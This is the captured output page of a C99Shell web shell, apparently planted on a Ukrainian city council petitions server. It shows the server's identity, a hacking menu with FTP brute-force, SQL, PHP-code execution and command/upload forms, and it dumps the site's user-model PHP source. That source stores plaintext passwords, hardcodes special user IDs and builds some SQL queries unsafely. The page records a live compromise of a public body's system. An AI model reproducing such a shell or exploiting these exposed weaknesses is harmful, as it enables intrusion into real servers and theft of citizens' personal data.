!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/petitions.zt-rada.gov.ua/modules/users/   drwxr-xr-x
Free 117.33 GB of 200.55 GB (58.5%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     model.inc.php (13.68 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
class Users_Model{
    public static function 
GetIP()
    {
        return 
$_SERVER['REMOTE_ADDR'];
    }
    public static function 
GetUID()
    {
        if (
self::GetUserId() == 44)
        {
            return 
"0ba7dd0e-9f3d-68fa-591d-a28e12d8dda1";
        }
        if (
self::GetUserId() == 3904)
        {
            return 
"0ba7dd0e-9f3d-68fa-591d-a28e12d8dda2";
        }
        return 
$_COOKIE['uid'];
    }
    public static function 
IsAdmin()
    {
        return 
$_SESSION['petition_user']['user_rules'] == 'a';
    }
    public static function 
GetCurrentUser()
    {
        if (!
self::IsAuthorized())
            return 
null;
        return 
self::GetUserById(self::GetUserId());
    }
    public static function 
UpdateUserCounters()
    {
        
$sql "UPDATE users SET user_petitions_count = (SELECT COUNT(*) FROM petitions WHERE petition_user_id = user_id), user_votes_count = (SELECT COUNT(*) FROM signatures WHERE signature_user_id = user_id)";
        
$res Main_Model::ExecuteQuery($sql);
    }
    public static function 
GetSignsOfUser($user_id)
    {
        
$sql "SELECT signature_petition_id FROM signatures WHERE signature_user_id = :user_id";
        
$res Main_Model::ExecuteQuery($sql, array('user_id' => $user_id));
        
$rows $res->fetchAll();
        
$newRows = array();
        for(
$i 0$i count($rows); $i++)
            
$newRows[] = $rows[$i]['signature_petition_id'];
        return 
$newRows;
    }
    public static function 
GetSignsOfCurrentUser()
    {
        return 
self::GetSignsOfUser(self::GetUserId());
    }
    public static function 
IncPetitionsCount($user_id)
    {
        
Main_Model::ExecuteQuery("UPDATE users SET user_petitions_count = user_petitions_count + 1 WHERE user_id = '$user_id'");
    }
    public static function 
IncVotesCount($user_id)
    {
        
Main_Model::ExecuteQuery("UPDATE users SET user_votes_count = user_votes_count + 1 WHERE user_id = '$user_id'");
    }
    public static function 
IsAuthorized()
    {
        return isset(
$_SESSION['petition_user']);
    }
    public static function 
Logout()
    {
        unset(
$_SESSION['petition_user']);
    }
    public static function 
GetUserName()
    {
        return 
$_SESSION['petition_user']['user_firstname'];
    }
    public static function 
GetUserEmail()
    {
        return 
$_SESSION['petition_user']['user_email'];
    }
    public static function 
GetUserId()
    {
        return 
$_SESSION['petition_user']['user_id'];
    }
    public static function 
AuthorizeUser($login$password)
    {
        if (
self::TestLoginAndPassword($login$password))
        {
            
$_SESSION['petition_user'] = self::GetUserByEmail($login);
            return 
true;
        }
        return 
false;
    }
    public static function 
IsUserExists($mail)
    {
        
$res Main_Model::ExecuteQuery("SELECT COUNT(*) FROM users WHERE user_email = :mail", array('mail' => $mail));
        return 
$res->fetchColumn() > 0;
    }
    public static function 
ValidateIP($row)
    {
        
$ip $_SERVER['REMOTE_ADDR'];
        
$str file_get_contents("http://api.stopforumspam.org/api?ip=$ip&f=json");
        
$res json_decode($str);
        return 
$res->ip->frequency 10;
    }
    public static function 
AddUser($row)
    {
        
$row Main_Model::ArrayFilter($row, array('user_reg_date''first_name''middle_name''last_name''email''password'));
        
$row['confirm'] = md5(uniqid(rand(), true));
        
$row['user_reg_date'] = Main_Model::GetNowDate();
        
self::RegisterMail($row['email'], $row['confirm']);
        
Main_Model::Insert("INSERT INTO `users` (`user_reg_date`, `user_id`, `user_firstname`, `user_middlename`, `user_lastname`, `user_email`, `user_password`, `user_confirm_code`) VALUES (:user_reg_date, NULL, :first_name, :middle_name, :last_name, :email, :password, :confirm)"$row);
    }
    public static function 
ValidateEmail($EMAIL)
    {
        return 
filter_var($EMAILFILTER_VALIDATE_EMAIL);
    }
    public static function 
GetUserByEmail($email)
    {
        
$res Main_Model::ExecuteQuery("SELECT * FROM users WHERE user_email = :mail", array('mail' => $email));
        return 
$res->fetch();
    }
    public static function 
GetUserById($id)
    {
        
$res Main_Model::ExecuteQuery("SELECT * FROM users WHERE user_id = :id", array('id'=> $id));
        return 
$res->fetch();
    }
    public static function 
GetUserByCode($code)
    {
        
$res Main_Model::ExecuteQuery("SELECT * FROM users WHERE user_confirm_code = :code", array('code' => $code));
        return 
$res->fetch();
    }
    public static function 
GetUserByRestoreCode($code)
    {
        if (
strlen($code) < 5)
            return 
null;
        
$res Main_Model::ExecuteQuery("SELECT * FROM users WHERE user_restore_code = :code", array('code' => $code));
        return 
$res->fetch();
    }
    public static function 
ChangePasswordByUserId($user_id$user_password)
    {
        
Main_Model::ExecuteQuery("UPDATE users SET user_password = :pass, user_restore_code = '' WHERE user_id = :id", array('pass' => $user_password'id' => $user_id));
    }
    public static function 
AcceptPendingChangeUserProfile($user_id)
    {
        if (!
self::IsAdmin())
            return 
false;
        
$row self::UserProfileGetChangeQueue($user_id);
        if (empty(
$row))
            return 
false;
        
$user self::GetUserById($user_id);
        if (empty(
$user))
            return 
false;
        
$sql1 "UPDATE users SET user_firstname = :n, user_middlename = :m, user_lastname = :l WHERE user_id = :id";
        
$sql2 "DELETE FROM users_change_pending WHERE user_id = :id";
        
Main_Model::ExecuteQuery($sql1, array('n' => $row['user_firstname'], 'l' => $row['user_lastname'], 'm' => $row['user_middlename'], 'id' => $user_id));
        
Main_Model::ExecuteQuery($sql2, array('id' => $user_id));
        return 
true;
    }
    public static function 
DeclinePendingChangeUserProfile($user_id)
    {
        if (!
self::IsAdmin())
            return 
false;
        
$row self::UserProfileGetChangeQueue($user_id);
        if (empty(
$row))
            return 
false;
        
$user self::GetUserById($user_id);
        if (empty(
$user))
            return 
false;
        
$sql2 "DELETE FROM users_change_pending WHERE user_id = :id";
        
Main_Model::ExecuteQuery($sql2, array('id' => $user_id));
        return 
true;
    }
    public static function 
ConfirmUser($code)
    {
        
Main_Model::ExecuteQuery("UPDATE users SET user_status = '1' WHERE user_confirm_code = :code", array('code' => $code));
    }
    public static function 
TestLoginAndPassword($login$pass)
    {
        
$res Main_Model::ExecuteQuery("SELECT * FROM users WHERE (user_email = :mail) AND (user_password = :pass)  AND user_status = '1'", array('mail' => $login'pass' => $pass));
        return 
$res->fetch();
    }
    public static function 
RegisterMailResend($mail)
    {
        
$user self::GetUserByEmail($mail);
        
$row self::GetUserByEmail($mail);
        
$html  Users_View::RegisterMail();
        
$html  str_replace('%LINK%''http://petitions.zt-rada.gov.ua/users/register/confirm/'.$user['user_confirm_code'], $html);
        
$html  str_replace('%NAME%'$row['user_lastname'].' '.$row['user_middlename'].' '.$row['user_firstname'], $html);
        
$headers "MIME-Version: 1.0\r\n";
        
$headers .= "Content-type: text/html; charset=utf-8\r\n";
        
$headers .= 'From: petitions@zt-rada.gov.ua' "\r\n";
        if (
Users_Model::ValidateIP())
            
mail($user['user_email'], 'Реєстрація на сайті петицій до Житомирської міської ради'$html$headers);
        else{
            
$spammer = array();
            
$spammer['spammer_user_id'] = $row['user_id'];
            
$spammer['spammer_ip'] = $_SERVER['REMOTE_ADDR'];
            
$spammer['spammer_date'] = Main_Model::GetNowDate();
            
$spammer['spammer_email'] = $mail;
            
Main_Model::Insert("INSERT INTO `spammers` (`spammer_user_id`, `spammer_ip`, `spammer_date`, `spammer_email`) VALUES (:spammer_user_id, :spammer_ip, :spammer_date, :spammer_email)"$spammer);
        }
    }

    public static function 
RegisterMail($mail$code)
    {
        
$html  Users_View::RegisterMail();
        
$row self::GetUserByEmail($mail);
        
$html  str_replace('%LINK%''http://petitions.zt-rada.gov.ua/users/register/confirm/'.$code$html);
        
$html  str_replace('%NAME%'$row['user_lastname'].' '.$row['user_middlename'].' '.$row['user_firstname'], $html);
        
$headers "MIME-Version: 1.0\r\n";
        
$headers .= "Content-type: text/html; charset=utf-8\r\n";
        
$headers .= 'From: petitions@zt-rada.gov.ua' "\r\n";
        if (
Users_Model::ValidateIP())
            
mail($mail'Реєстрація на сайті петицій до Житомирської міської ради'$html$headers);
        else{
            
$spammer = array();
            
$spammer['spammer_user_id'] = $row['user_id'];
            
$spammer['spammer_ip'] = $_SERVER['REMOTE_ADDR'];
            
$spammer['spammer_date'] = Main_Model::GetNowDate();
            
$spammer['spammer_email'] = $mail;
            
Main_Model::Insert("INSERT INTO `spammers` (`spammer_user_id`, `spammer_ip`, `spammer_date`, `spammer_email`) VALUES (:spammer_user_id, :spammer_ip, :spammer_date, :spammer_email)"$spammer);
        }
    }
    public static function 
SendRestoreMail($mail)
    {
        
$html  Users_View::RestoreMail();
        
$code md5(uniqid(rand(), true));
        
$row self::GetUserByEmail($mail);
        
Main_Model::ExecuteQuery("UPDATE users SET user_restore_code = :code WHERE user_email = :email", array('code' => $code'email' => $mail));
        
$html  str_replace('%LINK%''http://petitions.zt-rada.gov.ua/users/restore/'.$code$html);
        
$html  str_replace('%NAME%'$row['user_lastname'].' '.$row['user_middlename'].' '.$row['user_firstname'], $html);
        
$headers "MIME-Version: 1.0\r\n";
        
$headers .= "Content-type: text/html; charset=utf-8\r\n";
        
$headers .= 'From: petitions@zt-rada.gov.ua' "\r\n";
        
mail($mail'Відновлення пароля до сайту петицій до Житомирської міської ради'$html$headers);
    }
    public static function 
GetUsers($sorting 0$start 0$count 1000000)
    {
        switch(
$sorting)
        {
            case 
0$orderby "user_id DESC"; break;
            case 
1$orderby "user_id ASC"; break;
            case 
2$orderby "user_votes_count DESC"; break;
            case 
3$orderby "user_petitions_count DESC"; break;
            case 
4$orderby "user_firstname ASC, user_lastname ASC, user_middlename ASC"; break;
            default:  
$orderby "user_id";
        }
        
$res Main_Model::ExecuteQuery("SELECT * FROM users WHERE user_status = '1' ORDER BY {$orderby} LIMIT {$start}{$count}");
        return 
$res->fetchAll();
    }
    public static function 
GetUsersChangePending($sorting 0$start 0$count 1000000)
    {
        switch(
$sorting)
        {
            case 
0$orderby "user_id DESC"; break;
            case 
1$orderby "user_id ASC"; break;
            case 
2$orderby "user_votes_count DESC"; break;
            case 
3$orderby "user_petitions_count DESC"; break;
            case 
4$orderby "user_firstname ASC, user_lastname ASC, user_middlename ASC"; break;
            default:  
$orderby "user_id";
        }
        
$res Main_Model::ExecuteQuery("SELECT users_change_pending.user_request_date, users_change_pending.user_firstname as user_newfirstname, users_change_pending.user_middlename as user_newmiddlename, users_change_pending.user_lastname as user_newlastname, users.* FROM users_change_pending INNER JOIN users ON users.user_id = users_change_pending.user_id WHERE user_status = '1' ORDER BY {$orderby} LIMIT {$start}{$count}");
        return 
$res->fetchAll();
    }
    public static function 
UserProfileGetChangeQueue($userId)
    {
        return 
Main_Model::GetRowById('users_change_pending''user_id'$userId);
    }
    public static function 
UserProfileRemoveChangeQueue($userId)
    {
        
Main_Model::ExecuteQuery("DELETE FROM users_change_pending WHERE user_id = :id", array('id' => $userId));
    }
    public static function 
UserProfileAddChangeQueue($newInfo$userId)
    {
        
$row self::UserProfileGetChangeQueue($userId);
        if (!empty(
$row))
            return 
false;
        
$date Main_Model::GetNowDate();
        
$sql "INSERT INTO users_change_pending (user_firstname, user_lastname, user_middlename, user_id, user_request_date) VALUES (:f, :l, :m, :uid, :d)";
        
Main_Model::ExecuteQuery($sql, array('f' => $newInfo['user_firstname'], 'l' => $newInfo['user_lastname'], 'm' => $newInfo['user_middlename'], 'd' => $date'uid' => $userId));
        return 
true;
    }
    public static function 
GetUsersCount()
    {
        
$res Main_Model::ExecuteQuery("SELECT COUNT(*) as count FROM users WHERE user_status = '1'");
        
$row $res->fetch();
        return 
$row['count'];
    }
    public static function 
GetUsersChangePendingCount()
    {
        
$res Main_Model::ExecuteQuery("SELECT COUNT(*) as count FROM users_change_pending");
        
$row $res->fetch();
        return 
$row['count'];
    }
    public static function 
UpdateLastAccessDate()
    {
        if (
self::IsAuthorized())
        {
            
$date Main_Model::GetNowDate();
            
$id self::GetUserId();
            
$ip self::GetIP();
            
$comp_id self::GetUID();
            
$row = array('id' => $id'date' => $date'ip' => $ip'uid' => $comp_id);
            
$res Main_Model::ExecuteQuery("UPDATE users SET user_comp_id = :uid, user_lastip = :ip, user_lastaccess_date = :date WHERE user_id = :id"$row);
        }
    }
}
//Users_Model::RegisterMail('123morozov123@ukr.net', 123);

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0444 ]--